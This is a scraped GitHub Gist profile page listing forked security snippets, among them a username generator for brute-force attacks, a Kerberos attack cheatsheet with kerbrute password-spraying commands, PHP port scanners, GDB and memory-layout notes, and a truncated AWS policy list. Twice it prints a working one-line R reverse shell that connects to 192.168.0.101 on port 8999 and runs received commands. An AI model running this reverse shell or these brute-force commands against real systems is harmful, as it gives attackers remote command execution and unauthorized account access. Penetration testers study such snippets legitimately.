Skip to content

Instantly share code, notes, and snippets.

View hotplugin0x01's full-sized avatar

Abdul Wassay hotplugin0x01

View GitHub Profile
@hotplugin0x01
hotplugin0x01 / namemash.py
Created June 4, 2022 10:48 — forked from superkojiman/namemash.py
Creating a user name list for brute force attacks.
#!/usr/bin/env python3
'''
NameMash by superkojiman
Generate a list of possible usernames from a person's first and last name.
https://blog.techorganic.com/2011/07/17/creating-a-user-name-list-for-brute-force-attacks/
'''
@hotplugin0x01
hotplugin0x01 / kerberos_attacks_cheatsheet.md
Created June 14, 2022 21:00 — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md
A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

@hotplugin0x01
hotplugin0x01 / reverse_shell.r
Created June 24, 2022 20:34 — forked from DaveYesland/reverse_shell.r
Simple reverse shell for R script.
c<-socketConnection(host="192.168.0.101",8999,blocking=TRUE,timeout=1000000);while(TRUE){writeLines(readLines(pipe(readLines(c,1))),c)}
@hotplugin0x01
hotplugin0x01 / port_scanner.php
Created June 25, 2022 13:44 — forked from akalongman/port_scanner.php
Port scanner on PHP
<?php
ini_set('max_execution_time', 0);
ini_set('memory_limit', -1);
$host = 'google.com';
$ports = array(21, 25, 80, 81, 110, 143, 443, 587, 2525, 3306);
foreach ($ports as $port)
{
$connection = @fsockopen($host, $port, $errno, $errstr, 2);
@hotplugin0x01
hotplugin0x01 / memory_layout.md
Created July 27, 2022 14:28 — forked from CMCDragonkai/memory_layout.md
Linux: Understanding the Memory Layout of Linux Executables

Understanding the Memory Layout of Linux Executables

Required tools for playing around with memory:

  • hexdump
  • objdump
  • readelf
  • xxd
  • gcore
@hotplugin0x01
hotplugin0x01 / cheat_sheet.txt
Created August 13, 2022 14:06
GDB cheat sheet
GDB commands by function - simple guide
---------------------------------------
More important commands have a (*) by them.
Startup
% gdb -help print startup help, show switches
*% gdb object normal debug
*% gdb object core core debug (must specify core file)
%% gdb object pid attach to running process
% gdb use file command to load object
@hotplugin0x01
hotplugin0x01 / reverse_shell.r
Created August 27, 2022 11:05 — forked from trietptm/reverse_shell.r
Simple reverse shell for R script.
c<-socketConnection(host="192.168.0.101",8999,blocking=TRUE,timeout=1000000);while(TRUE){writeLines(readLines(pipe(readLines(c,1))),c)}
<?php
ini_set('max_execution_time', 0);
ini_set('memory_limit', -1);
$host = '172.17.0.1';
$ports = array(21, 22, 80, 443, 445, 3306, 8080);
@hotplugin0x01
hotplugin0x01 / all_aws_managed_policies.json
Created October 23, 2022 11:55 — forked from gene1wood/all_aws_managed_policies.json
A list of all AWS managed policies and they're policy documents as well as a short script to generate the list
This file has been truncated, but you can view the full file.
{
"APIGatewayServiceRolePolicy": {
"Arn": "arn:aws:iam::aws:policy/aws-service-role/APIGatewayServiceRolePolicy",
"AttachmentCount": 0,
"CreateDate": "2019-10-22T18:22:01+00:00",
"DefaultVersionId": "v6",
"Document": {
"Statement": [
{